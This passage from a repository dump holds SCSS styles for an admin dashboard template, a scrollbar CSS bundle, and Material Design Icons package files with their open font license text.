&:nth-child(2) { 93 | &:before { 94 | background: theme-gradient-color(info); 95 | } 96 | } 97 | &:nth-child(3) { 98 | &:before { 99 | background: theme-gradient-color(warning); 100 | } 101 | } 102 | &:nth-child(4) { 103 | &:before { 104 | background: theme-gradient-color(success); 105 | } 106 | } 107 | &:nth-child(5) { 108 | &:before { 109 | background: theme-gradient-color(primary); 110 | } 111 | } 112 | } 113 | } -------------------------------------------------------------------------------- /static/user/scss/components/_preview.scss: -------------------------------------------------------------------------------- 1 | /* Preview */ 2 | 3 | .preview-list { 4 | .preview-item { 5 | @include display-flex; 6 | @include flex-direction(row); 7 | @include align-items(flex-start); 8 | padding: .75rem 1.5rem; 9 | font-size: .875rem; 10 | &:last-child { 11 | border-bottom: 0; 12 | } 13 | &:hover { 14 | background: $dropdown-link-hover-bg; 15 | } 16 | .form-check { 17 | margin-top: 8px; 18 | margin-right: 1rem; 19 | } 20 | .preview-thumbnail { 21 | color: color(white); 22 | position: relative; 23 | img, 24 | .preview-icon { 25 | width: 36px; 26 | height: 36px; 27 | border-radius: 100%; 28 | } 29 | .preview-icon { 30 | padding: 6px; 31 | text-align: center; 32 | @include display-flex; 33 | @include align-items(center); 34 | @include justify-content(center); 35 | i { 36 | font-size: 1.125rem; 37 | margin: 0; 38 | .rtl & { 39 | @extend .ml-0; 40 | } 41 | } 42 | } 43 | .badge { 44 | border: 2px solid color(white); 45 | border-radius: 100%; 46 | bottom: 5px; 47 | display: block; 48 | height: 14px; 49 | left: -5px; 50 | padding: 0; 51 | position: absolute; 52 | width: 14px; 53 | &.badge-online { 54 | @extend .badge-success; 55 | } 56 | &.badge-offline { 57 | @extend .badge-info; 58 | } 59 | &.badge-busy { 60 | @extend .badge-warning; 61 | } 62 | } 63 | } 64 | .preview-item-content { 65 | line-height: 1; 66 | padding-left: 15px; 67 | &:first-child { 68 | padding-left: 0; 69 | } 70 | p { 71 | margin-bottom: 10px; 72 | .content-category { 73 | font-family: 'source-sans-pro-semibold', sans-serif; 74 | padding-right: 15px; 75 | border-right: 1px solid $border-color; 76 | @extend .text-muted; 77 | } 78 | } 79 | .rtl & { 80 | padding-left: 0; 81 | padding-right: 1rem; 82 | margin-right: 0; 83 | margin-left: auto; 84 | } 85 | } 86 | .preview-actions { 87 | @include display-flex; 88 | @include flex-direction(row); 89 | i { 90 | width: 29px; 91 | color: color(gray-lightest); 92 | height: 29px; 93 | border: 2px solid color(gray-lightest); 94 | border-radius: 100%; 95 | padding: 3px 6px; 96 | display: inline-block; 97 | &:first-child { 98 | margin-right: 10px; 99 | } 100 | } 101 | } 102 | } 103 | &.comment-preview { 104 | .preview-item { 105 | padding: .87rem 0; 106 | &:first-child { 107 | padding-top: 0; 108 | } 109 | p { 110 | line-height: 27px; 111 | } 112 | } 113 | } 114 | &.bordered { 115 | .preview-item { 116 | border-bottom: 1px solid $border-color; 117 | &:last-child { 118 | border-bottom: 0; 119 | } 120 | } 121 | } 122 | } 123 | -------------------------------------------------------------------------------- /static/user/scss/components/_tables.scss: -------------------------------------------------------------------------------- 1 | /* Tables */ 2 | 3 | .table { 4 | margin-bottom: 0; 5 | thead { 6 | th { 7 | border-top: 0; 8 | border-bottom-width: 1px; 9 | font-family: $type1-medium; 10 | font-weight: initial; 11 | i{ 12 | margin-left: 0.325rem; 13 | } 14 | } 15 | } 16 | th, 17 | td { 18 | vertical-align: middle; 19 | font-size: $default-font-size; 20 | line-height: 1; 21 | img { 22 | width: 36px; 23 | height: 36px; 24 | border-radius: 100%; 25 | } 26 | .badge { 27 | margin-bottom: 0; 28 | } 29 | } 30 | &.table-borderless{ 31 | border: none; 32 | tr,td,th{ 33 | border: none; 34 | } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /static/user/scss/landing-screens/_auth.scss: -------------------------------------------------------------------------------- 1 | /* Auth */ 2 | 3 | .auth { 4 | .auth-form-light { 5 | background: $white; 6 | select { 7 | color: $input-placeholder-color; 8 | } 9 | .input-group { 10 | .form-control { 11 | &:focus, 12 | &:active { 13 | border-color: $border-color; 14 | } 15 | } 16 | } 17 | } 18 | .brand-logo { 19 | margin-bottom: 2rem; 20 | img { 21 | width: 150px; 22 | } 23 | } 24 | form { 25 | .form-group { 26 | margin-bottom: 1.5rem; 27 | label { 28 | font-size: .8125rem; 29 | } 30 | .form-control { 31 | background: transparent; 32 | border-radius: 0; 33 | font-size: .9375rem; 34 | } 35 | } 36 | .auth-form-btn { 37 | height: 50px; 38 | line-height: 1.5; 39 | } 40 | .auth-link { 41 | font-size: $default-font-size; 42 | &:hover { 43 | color: initial; 44 | } 45 | } 46 | } 47 | } -------------------------------------------------------------------------------- /static/user/scss/mixins/_animation.scss: -------------------------------------------------------------------------------- 1 | /* Animation Mixins */ 2 | @keyframes dropdownAnimation { 3 | from { 4 | opacity: 0; 5 | transform: translate3d(0, -30px, 0); 6 | } 7 | 8 | to { 9 | opacity: 1; 10 | transform: none; 11 | transform: translate3d(0, 0px, 0); 12 | } 13 | } 14 | 15 | .dropdownAnimation { 16 | animation-name: dropdownAnimation; 17 | @include animation-duration($action-transition-duration); 18 | @include animation-fill-mode(both); 19 | } 20 | @mixin transition($settings) { 21 | -webkit-transition: $settings; 22 | -moz-transition: $settings; 23 | -ms-transition: $settings; 24 | -o-transition: $settings; 25 | transition: $settings; 26 | } 27 | @keyframes fadeOut { 28 | from { 29 | opacity: 1; 30 | } 31 | 32 | to { 33 | opacity: 0; 34 | } 35 | } 36 | 37 | .fadeOut { 38 | animation-name: fadeOut; 39 | } 40 | 41 | .infinite-spin { 42 | @keyframes spin { 43 | from { 44 | transform: rotate(0deg); 45 | } 46 | 47 | to { 48 | transform: rotate(360deg); 49 | } 50 | } 51 | animation-name: spin; 52 | animation-duration: 3s; 53 | animation-iteration-count: infinite; 54 | animation-timing-function: linear; 55 | } 56 | @keyframes fadeInUp { 57 | from { 58 | opacity: 0; 59 | transform: translate3d(0, 100%, 0); 60 | } 61 | 62 | to { 63 | opacity: 1; 64 | transform: none; 65 | } 66 | } 67 | 68 | .fadeInUp { 69 | animation-name: fadeInUp; 70 | } -------------------------------------------------------------------------------- /static/user/scss/mixins/_background.scss: -------------------------------------------------------------------------------- 1 | // Background Mixins // 2 | -------------------------------------------------------------------------------- /static/user/scss/mixins/_badges.scss: -------------------------------------------------------------------------------- 1 | //Badge Mixins 2 | 3 | //Badge vriations 4 | @mixin badge-variations($color) { 5 | border: 1px solid $color; 6 | color: $white; 7 | } 8 | // Badge outlined variations 9 | @mixin badge-outline-variations($color) { 10 | color: $color; 11 | border: 1px solid $color; 12 | } 13 | // Badge outlined variations 14 | @mixin badge-gradient-variations($color) { 15 | background: $color; 16 | color: $white; 17 | } -------------------------------------------------------------------------------- /static/user/scss/mixins/_blockqoute.scss: -------------------------------------------------------------------------------- 1 | // BlockQuote Mixins // 2 | 3 | @mixin blockquote($color) { 4 | border-color: $color; 5 | .blockquote-footer { 6 | color: $color; 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /static/user/scss/mixins/_buttons.scss: -------------------------------------------------------------------------------- 1 | @mixin social-button($color) { 2 | background: $color; 3 | color: $white; 4 | 5 | &:hover, 6 | &:focus { 7 | background: darken($color, 10%); 8 | color: $white; 9 | } 10 | &.btn-social-icon-text { 11 | padding: 0 1.5rem 0 0; 12 | background: lighten($color, 10%); 13 | i { 14 | background: $color; 15 | padding: .75rem; 16 | display: inline-block; 17 | margin-right: 1.5rem; 18 | } 19 | } 20 | } 21 | @mixin social-outline-button($color) { 22 | border: 1px solid $color; 23 | color: $color; 24 | &:hover { 25 | background: $color; 26 | color: $white; 27 | } 28 | } 29 | @mixin button-inverse-variant($color, $color-hover: $white) { 30 | background-color: rgba($color, 0.2); 31 | background-image: none; 32 | border-color: rgba($color, 0); 33 | &:not(.btn-inverse-light) { 34 | color: $color; 35 | } 36 | @include hover { 37 | color: $color-hover; 38 | background-color: $color; 39 | border-color: $color; 40 | } 41 | 42 | &.focus, 43 | &:focus { 44 | box-shadow: 0 0 0 3px rgba($color, .5); 45 | } 46 | 47 | &.disabled, 48 | &:disabled { 49 | color: $color; 50 | background-color: transparent; 51 | } 52 | 53 | &.active, 54 | &:active, 55 | .show > &.dropdown-toggle { 56 | color: $color-hover; 57 | background-color: $color; 58 | border-color: $color; 59 | } 60 | } 61 | @mixin button-gradient-variant($value) { 62 | background: $value; 63 | border: 0; 64 | &:not([disabled]):not(.disabled):active, 65 | &:not([disabled]):not(.disabled).active, 66 | .show > &.dropdown-toggle { 67 | background: $value; 68 | } 69 | &:hover { 70 | opacity: .8; 71 | } 72 | &:not(.btn-gradient-light) { 73 | color: $white; 74 | &:hover, 75 | &:focus, 76 | &:active { 77 | color: $white; 78 | } 79 | } 80 | @include transition(opacity .3s ease); 81 | } 82 | -------------------------------------------------------------------------------- /static/user/scss/mixins/_cards.scss: -------------------------------------------------------------------------------- 1 | // Cards Mixins 2 | 3 | @mixin card-inverse-variant($bg, $border, $color) { 4 | background: $bg; 5 | border: 1px solid $border; 6 | color: $color; 7 | } 8 | -------------------------------------------------------------------------------- /static/user/scss/mixins/_misc.scss: -------------------------------------------------------------------------------- 1 | /* Miscellaneous Mixins */ 2 | 3 | // general transform 4 | @mixin transform($transforms) { 5 | -moz-transform: $transforms; 6 | -o-transform: $transforms; 7 | -ms-transform: $transforms; 8 | -webkit-transform: $transforms; 9 | transform: $transforms; 10 | } 11 | 12 | // rotate 13 | @mixin rotate ($deg) { 14 | @include transform(rotate(#{$deg}deg)); 15 | } 16 | 17 | // scale 18 | @mixin scale($scale) { 19 | @include transform(scale($scale)); 20 | } 21 | // translate 22 | @mixin translate ($x, $y) { 23 | @include transform(translate($x, $y)); 24 | } 25 | // skew 26 | @mixin skew ($x, $y) { 27 | @include transform(skew(#{$x}deg, #{$y}deg)); 28 | } 29 | //transform origin 30 | @mixin transform-origin ($origin) { 31 | moz-transform-origin: $origin; 32 | -o-transform-origin: $origin; 33 | -ms-transform-origin: $origin; 34 | -webkit-transform-origin: $origin; 35 | transform-origin: $origin; 36 | } 37 | //Ellipsis 38 | %ellipsor{ 39 | text-overflow: ellipsis; 40 | overflow: hidden; 41 | max-width:100%; 42 | white-space: nowrap; 43 | } 44 | 45 | // Placeholder 46 | @mixin placeholder { 47 | &::-webkit-input-placeholder { 48 | @content 49 | } 50 | &:-moz-placeholder { 51 | @content 52 | } 53 | &::-moz-placeholder { 54 | @content 55 | } 56 | &:-ms-input-placeholder { 57 | @content 58 | } 59 | } -------------------------------------------------------------------------------- /static/user/scss/style.scss: -------------------------------------------------------------------------------- 1 | /*------------------------------------------------------------------ 2 | [Master Stylesheet] 3 | 4 | Project: Purple Admin 5 | Version: 2.0.0 6 | -------------------------------------------------------------------*/ 7 | 8 | 9 | 10 | /*------------------------------------------------------------------- 11 | ===== Table of Contents ===== 12 | 13 | * Bootstrap functions 14 | * Template variables 15 | * SCSS Compass Functions 16 | * Boostrap Main SCSS 17 | * Template mixins 18 | + Animation Mixins 19 | + Background Mixins 20 | + Badge Mixins 21 | + Button Mixins 22 | + Miscellaneous Mixins 23 | + BlockQuote Mixins 24 | + Cards Mixins 25 | + Color Functions Mixins 26 | + Tooltips 27 | + popovers 28 | * Core Styles 29 | + Reset Styles 30 | + Fonts 31 | + Functions 32 | + Backgrounds 33 | + Sidebar 34 | + Navbar 35 | + Typography 36 | + Miscellaneous 37 | + Footer 38 | + Layouts 39 | + Utilities 40 | + Demo styles 41 | * Components 42 | + Badges 43 | + Boostrap Progress 44 | + Buttons 45 | + Cards 46 | + Checkboxes and Radios 47 | + Dropdowns 48 | + Forms 49 | + Icons 50 | + Lists 51 | + Preview 52 | + Tables 53 | * Landing screens 54 | + Auth 55 | -------------------------------------------------------------------*/ 56 | 57 | 58 | /*-------------------------------------------------------------------*/ 59 | /* === Import Bootstrap functions and variables === */ 60 | @import "../node_modules/bootstrap/scss/functions"; 61 | @import "../node_modules/bootstrap/scss/variables"; 62 | 63 | /*-------------------------------------------------------------------*/ 64 | /* === Import template variables === */ 65 | @import "variables"; 66 | 67 | /*-------------------------------------------------------------------*/ 68 | /* === SCSS Compass Functions === */ 69 | @import "../node_modules/compass-mixins/lib/compass"; 70 | @import "../node_modules/compass-mixins/lib/animate"; 71 | 72 | /*-------------------------------------------------------------------*/ 73 | /* === Boostrap Main SCSS === */ 74 | @import "../node_modules/bootstrap/scss/bootstrap"; 75 | 76 | /*-------------------------------------------------------------------*/ 77 | /* === Template mixins === */ 78 | @import "mixins/misc"; 79 | @import "mixins/animation"; 80 | @import "mixins/background"; 81 | @import "mixins/badges"; 82 | @import "mixins/blockqoute"; 83 | @import "mixins/buttons"; 84 | @import "mixins/cards"; 85 | 86 | /*-------------------------------------------------------------------*/ 87 | /* === Core Styles === */ 88 | @import "reset"; 89 | @import "fonts"; 90 | @import "functions"; 91 | @import "background"; 92 | @import "sidebar"; 93 | @import "navbar"; 94 | @import "typography"; 95 | @import "misc"; 96 | @import "footer"; 97 | @import "utilities"; 98 | @import "demo"; 99 | 100 | /*-------------------------------------------------------------------*/ 101 | /* === Components === */ 102 | @import "components/badges"; 103 | @import "components/bootstrap-progress"; 104 | @import "components/buttons"; 105 | @import "components/cards"; 106 | @import "components/checkbox-radio"; 107 | @import "components/dropdown"; 108 | @import "components/forms"; 109 | @import "components/icons"; 110 | @import "components/lists"; 111 | @import "components/preview"; 112 | @import "components/tables"; 113 | 114 | /*-------------------------------------------------------------------*/ 115 | /* === Landing screens === */ 116 | @import "landing-screens/auth"; 117 | -------------------------------------------------------------------------------- /static/user/vendors/css/vendor.bundle.base.css: -------------------------------------------------------------------------------- 1 | /* 2 | * Container style 3 | */ 4 | .ps { 5 | overflow: hidden !important; 6 | overflow-anchor: none; 7 | -ms-overflow-style: none; 8 | touch-action: auto; 9 | -ms-touch-action: auto; 10 | } 11 | 12 | /* 13 | * Scrollbar rail styles 14 | */ 15 | .ps__rail-x { 16 | display: none; 17 | opacity: 0; 18 | transition: background-color .2s linear, opacity .2s linear; 19 | -webkit-transition: background-color .2s linear, opacity .2s linear; 20 | height: 15px; 21 | /* there must be 'bottom' or 'top' for ps__rail-x */ 22 | bottom: 0px; 23 | /* please don't change 'position' */ 24 | position: absolute; 25 | } 26 | 27 | .ps__rail-y { 28 | display: none; 29 | opacity: 0; 30 | transition: background-color .2s linear, opacity .2s linear; 31 | -webkit-transition: background-color .2s linear, opacity .2s linear; 32 | width: 15px; 33 | /* there must be 'right' or 'left' for ps__rail-y */ 34 | right: 0; 35 | /* please don't change 'position' */ 36 | position: absolute; 37 | } 38 | 39 | .ps--active-x > .ps__rail-x, 40 | .ps--active-y > .ps__rail-y { 41 | display: block; 42 | background-color: transparent; 43 | } 44 | 45 | .ps:hover > .ps__rail-x, 46 | .ps:hover > .ps__rail-y, 47 | .ps--focus > .ps__rail-x, 48 | .ps--focus > .ps__rail-y, 49 | .ps--scrolling-x > .ps__rail-x, 50 | .ps--scrolling-y > .ps__rail-y { 51 | opacity: 0.6; 52 | } 53 | 54 | .ps__rail-x:hover, 55 | .ps__rail-y:hover, 56 | .ps__rail-x:focus, 57 | .ps__rail-y:focus { 58 | background-color: #eee; 59 | opacity: 0.9; 60 | } 61 | 62 | /* 63 | * Scrollbar thumb styles 64 | */ 65 | .ps__thumb-x { 66 | background-color: #aaa; 67 | border-radius: 6px; 68 | transition: background-color .2s linear, height .2s ease-in-out; 69 | -webkit-transition: background-color .2s linear, height .2s ease-in-out; 70 | height: 6px; 71 | /* there must be 'bottom' for ps__thumb-x */ 72 | bottom: 2px; 73 | /* please don't change 'position' */ 74 | position: absolute; 75 | } 76 | 77 | .ps__thumb-y { 78 | background-color: #aaa; 79 | border-radius: 6px; 80 | transition: background-color .2s linear, width .2s ease-in-out; 81 | -webkit-transition: background-color .2s linear, width .2s ease-in-out; 82 | width: 6px; 83 | /* there must be 'right' for ps__thumb-y */ 84 | right: 2px; 85 | /* please don't change 'position' */ 86 | position: absolute; 87 | } 88 | 89 | .ps__rail-x:hover > .ps__thumb-x, 90 | .ps__rail-x:focus > .ps__thumb-x { 91 | background-color: #999; 92 | height: 11px; 93 | } 94 | 95 | .ps__rail-y:hover > .ps__thumb-y, 96 | .ps__rail-y:focus > .ps__thumb-y { 97 | background-color: #999; 98 | width: 11px; 99 | } 100 | 101 | /* MS supports */ 102 | @supports (-ms-overflow-style: none) { 103 | .ps { 104 | overflow: auto !important; 105 | } 106 | } 107 | 108 | @media screen and (-ms-high-contrast: active), (-ms-high-contrast: none) { 109 | .ps { 110 | overflow: auto !important; 111 | } 112 | } 113 | -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "mdi", 3 | "version": "2.1.19", 4 | "main": [ 5 | "scss/materialdesignicons.scss" 6 | ], 7 | "homepage": "http://materialdesignicons.com", 8 | "authors": [ 9 | { "name": "Austin Andrews", "homepage": "http://templarian.com" }, 10 | { "name": "Google", "homepage": "http://www.google.com/design" } 11 | ], 12 | "license": ["OFL-1.1", "MIT"], 13 | "ignore": [ 14 | "*.md", 15 | "*.json" 16 | ], 17 | "keywords": [ 18 | "material", 19 | "design", 20 | "icons", 21 | "webfont" 22 | ] 23 | } 24 | -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/fonts/materialdesignicons-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/vendors/iconfonts/mdi/fonts/materialdesignicons-webfont.eot -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/fonts/materialdesignicons-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/vendors/iconfonts/mdi/fonts/materialdesignicons-webfont.ttf -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/fonts/materialdesignicons-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/vendors/iconfonts/mdi/fonts/materialdesignicons-webfont.woff -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/fonts/materialdesignicons-webfont.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/vendors/iconfonts/mdi/fonts/materialdesignicons-webfont.woff2 -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/license.md: -------------------------------------------------------------------------------- 1 | Copyright (c) 2014, Austin Andrews (http://materialdesignicons.com/), 2 | with Reserved Font Name Material Design Icons. 3 | 4 | Copyright (c) 2014, Google (http://www.google.com/design/) 5 | uses the license at https://github.com/google/material-design-icons/blob/master/LICENSE 6 | 7 | This Font Software is licensed under the SIL Open Font License, Version 1.1. 8 | This license is copied below, and is also available with a FAQ at: 9 | http://scripts.sil.org/OFL 10 | 11 | 12 | ----------------------------------------------------------- 13 | SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 14 | ----------------------------------------------------------- 15 | 16 | PREAMBLE 17 | The goals of the Open Font License (OFL) are to stimulate worldwide 18 | development of collaborative font projects, to support the font creation 19 | efforts of academic and linguistic communities, and to provide a free and 20 | open framework in which fonts may be shared and improved in partnership 21 | with others. 22 | 23 | The OFL allows the licensed fonts to be used, studied, modified and 24 | redistributed freely as long as they are not sold by themselves. The 25 | fonts, including any derivative works, can be bundled, embedded, 26 | redistributed and/or sold with any software provided that any reserved 27 | names are not used by derivative works. The fonts and derivatives, 28 | however, cannot be released under any other type of license. The 29 | requirement for fonts to remain under this license does not apply 30 | to any document created using the fonts or their derivatives. 31 | 32 | DEFINITIONS 33 | "Font Software" refers to the set of files released by the Copyright 34 | Holder(s) under this license and clearly marked as such. This may 35 | include source files, build scripts and documentation. 36 | 37 | "Reserved Font Name" refers to any names specified as such after the 38 | copyright statement(s). 39 | 40 | "Original Version" refers to the collection of Font Software components as 41 | distributed by the Copyright Holder(s). 42 | 43 | "Modified Version" refers to any derivative made by adding to, deleting, 44 | or substituting -- in part or in whole -- any of the components of the 45 | Original Version, by changing formats or by porting the Font Software to a 46 | new environment. 47 | 48 | "Author" refers to any designer, engineer, programmer, technical 49 | writer or other person who contributed to the Font Software. 50 | 51 | PERMISSION & CONDITIONS 52 | Permission is hereby granted, free of charge, to any person obtaining 53 | a copy of the Font Software, to use, study, copy, merge, embed, modify, 54 | redistribute, and sell modified and unmodified copies of the Font 55 | Software, subject to the following conditions: 56 | 57 | 1) Neither the Font Software nor any of its individual components, 58 | in Original or Modified Versions, may be sold by itself. 59 | 60 | 2) Original or Modified Versions of the Font Software may be bundled, 61 | redistributed and/or sold with any software, provided that each copy 62 | contains the above copyright notice and this license. These can be 63 | included either as stand-alone text files, human-readable headers or 64 | in the appropriate machine-readable metadata fields within text or 65 | binary files as long as those fields can be easily viewed by the user. 66 | 67 | 3) No Modified Version of the Font Software may use the Reserved Font 68 | Name(s) unless explicit written permission is granted by the corresponding 69 | Copyright Holder. This restriction only applies to the primary font name as 70 | presented to the users. 71 | 72 | 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font 73 | Software shall not be used to promote, endorse or advertise any 74 | Modified Version, except to acknowledge the contribution(s) of the 75 | Copyright Holder(s) and the Author(s) or with their explicit written 76 | permission. 77 | 78 | 5) The Font Software, modified or unmodified, in part or in whole, 79 | must be distributed entirely under this license, and must not be 80 | distributed under any other license. The requirement for fonts to 81 | remain under this license does not apply to any document created 82 | using the Font Software. 83 | 84 | TERMINATION 85 | This license becomes null and void if any of the above conditions are 86 | not met. 87 | 88 | DISCLAIMER 89 | THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 90 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF 91 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT 92 | OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE 93 | COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, 94 | INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL 95 | DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 96 | FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM 97 | OTHER DEALINGS IN THE FONT SOFTWARE. -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "_args": [ 3 | [ 4 | "mdi@2.1.19", 5 | "/Users/linsa/project/purple_free" 6 | ] 7 | ], 8 | "_from": "mdi@2.1.19", 9 | "_id": "mdi@2.1.19", 10 | "_inBundle": false, 11 | "_integrity": "sha512-WErwab4jq/jcCeo4aecQ5UH1WXu2Eto5Rdb0AiBFcUw8CHmF/UeV+hf9wKyH17X+c3Z+jaS3jDKW7fu0R0HmWQ==", 12 | "_location": "/mdi", 13 | "_phantomChildren": {}, 14 | "_requested": { 15 | "type": "version", 16 | "registry": true, 17 | "raw": "mdi@2.1.19", 18 | "name": "mdi", 19 | "escapedName": "mdi", 20 | "rawSpec": "2.1.19", 21 | "saveSpec": null, 22 | "fetchSpec": "2.1.19" 23 | }, 24 | "_requiredBy": [ 25 | "/" 26 | ], 27 | "_resolved": "https://registry.npmjs.org/mdi/-/mdi-2.1.19.tgz", 28 | "_spec": "2.1.19", 29 | "_where": "/Users/linsa/project/purple_free", 30 | "author": { 31 | "name": "Austin Andrews", 32 | "url": "http://twitter.com/templarian" 33 | }, 34 | "bugs": { 35 | "url": "https://github.com/Templarian/MaterialDesign/issues" 36 | }, 37 | "description": "Dist for Material Design Webfont. This includes the Stock and Community icons in a single webfont collection.", 38 | "homepage": "http://materialdesignicons.com", 39 | "keywords": [ 40 | "material", 41 | "design", 42 | "icons", 43 | "webfont" 44 | ], 45 | "licenses": [ 46 | { 47 | "type": "OFL-1.1", 48 | "url": "http://scripts.sil.org/OFL" 49 | }, 50 | { 51 | "type": "MIT", 52 | "url": "http://opensource.org/licenses/mit-license.html" 53 | } 54 | ], 55 | "main": "preview.html", 56 | "name": "mdi", 57 | "repository": { 58 | "type": "git", 59 | "url": "git+https://github.com/Templarian/MaterialDesign-Webfont.git" 60 | }, 61 | "scripts": { 62 | "test": "echo \"Error: no test specified\" && exit 1" 63 | }, 64 | "style": "css/materialdesignicons.css", 65 | "version": "2.1.19" 66 | } 67 | -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/scss/_animated.scss: -------------------------------------------------------------------------------- 1 | // From Font Awesome 2 | .#{$mdi-css-prefix}-spin:before { 3 | -webkit-animation: #{$mdi-css-prefix}-spin 2s infinite linear; 4 | animation: #{$mdi-css-prefix}-spin 2s infinite linear; 5 | } 6 | 7 | @-webkit-keyframes #{$mdi-css-prefix}-spin { 8 | 0% { 9 | -webkit-transform: rotate(0deg); 10 | transform: rotate(0deg); 11 | } 12 | 100% { 13 | -webkit-transform: rotate(359deg); 14 | transform: rotate(359deg); 15 | } 16 | } 17 | 18 | @keyframes #{$mdi-css-prefix}-spin { 19 | 0% { 20 | -webkit-transform: rotate(0deg); 21 | transform: rotate(0deg); 22 | } 23 | 100% { 24 | -webkit-transform: rotate(359deg); 25 | transform: rotate(359deg); 26 | } 27 | } -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/scss/_core.scss: -------------------------------------------------------------------------------- 1 | .#{$mdi-css-prefix}:before, 2 | .#{$mdi-css-prefix}-set { 3 | display: inline-block; 4 | font: normal normal normal #{$mdi-font-size-base}/1 '#{$mdi-font-name}'; // shortening font declaration 5 | font-size: inherit; // can't have font-size inherit on line above, so need to override 6 | text-rendering: auto; // optimizelegibility throws things off #1094 7 | line-height: inherit; 8 | -webkit-font-smoothing: antialiased; 9 | -moz-osx-font-smoothing: grayscale; 10 | } -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/scss/_extras.scss: -------------------------------------------------------------------------------- 1 | $sizes: 18 24 36 48; 2 | @each $size in $sizes { 3 | .#{$mdi-css-prefix}-#{$size}px { 4 | &.#{$mdi-css-prefix}-set, 5 | &.#{$mdi-css-prefix}:before { 6 | font-size: $size * 1px; 7 | } 8 | } 9 | } 10 | 11 | .#{$mdi-css-prefix}-dark { 12 | &:before { 13 | color: rgba(0, 0, 0, 0.54); 14 | } 15 | &.mdi-inactive:before { 16 | color: rgba(0, 0, 0, 0.26); 17 | } 18 | } 19 | .#{$mdi-css-prefix}-light { 20 | &:before { 21 | color: rgba(255, 255, 255, 1); 22 | } 23 | &.mdi-inactive:before { 24 | color: rgba(255, 255, 255, 0.3); 25 | } 26 | } 27 | 28 | $degrees: 45 90 135 180 225 270 315; 29 | @each $degree in $degrees { 30 | .#{$mdi-css-prefix}-rotate-#{$degree}{ 31 | &:before { 32 | -webkit-transform: rotate(#{$degree}deg); 33 | -ms-transform: rotate(#{$degree}deg); 34 | transform: rotate(#{$degree}deg); 35 | } 36 | /* 37 | // Not included in production 38 | &.#{$mdi-css-prefix}-flip-h:before { 39 | -webkit-transform: scaleX(-1) rotate(#{$degree}deg); 40 | transform: scaleX(-1) rotate(#{$degree}deg); 41 | filter: FlipH; 42 | -ms-filter: "FlipH"; 43 | } 44 | &.#{$mdi-css-prefix}-flip-v:before { 45 | -webkit-transform: scaleY(-1) rotate(#{$degree}deg); 46 | -ms-transform: rotate(#{$degree}deg); 47 | transform: scaleY(-1) rotate(#{$degree}deg); 48 | filter: FlipV; 49 | -ms-filter: "FlipV"; 50 | } 51 | */ 52 | } 53 | } 54 | .#{$mdi-css-prefix}-flip-h:before { 55 | -webkit-transform: scaleX(-1); 56 | transform: scaleX(-1); 57 | filter: FlipH; 58 | -ms-filter: "FlipH"; 59 | } 60 | .#{$mdi-css-prefix}-flip-v:before { 61 | -webkit-transform: scaleY(-1); 62 | transform: scaleY(-1); 63 | filter: FlipV; 64 | -ms-filter: "FlipV"; 65 | } -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/scss/_functions.scss: -------------------------------------------------------------------------------- 1 | @function char($character-code) { 2 | @if function-exists("selector-append") { 3 | @return unquote("\"\\#{$character-code}\""); 4 | } 5 | 6 | @if "\\#{'x'}" == "\\x" { 7 | @return str-slice("\x", 1, 1) + $character-code; 8 | } 9 | @else { 10 | @return #{"\"\\"}#{$character-code + "\""}; 11 | } 12 | } 13 | 14 | @function mdi($name) { 15 | @if map-has-key($mdi-icons, $name) == false { 16 | @warn "Icon #{$name} not found."; 17 | @return ""; 18 | } 19 | @return char(map-get($mdi-icons, $name)); 20 | } -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/scss/_icons.scss: -------------------------------------------------------------------------------- 1 | @each $key, $value in $mdi-icons { 2 | .#{$mdi-css-prefix}-#{$key}:before { 3 | content: char($value); 4 | } 5 | } 6 | 7 | .#{$mdi-css-prefix}-blank:before { 8 | content: "\F68C"; 9 | visibility: hidden; 10 | } -------------------------------------------------------------------------------- /static/user/vendors/iconfonts/mdi/scss/_path.scss: -------------------------------------------------------------------------------- 1 | @font-face { 2 | font-family: '#{$mdi-font-name}'; 3 | src: url('#{$mdi-font-path}/#{$mdi-filename}-webfont.eot?v=#{$mdi-version}'); 4 | src: url('#{$mdi-font-path}/#{$mdi-filename}-webfont.eot?#iefix&v=#{$mdi-version}') format('embedded-opentype'), 5 | 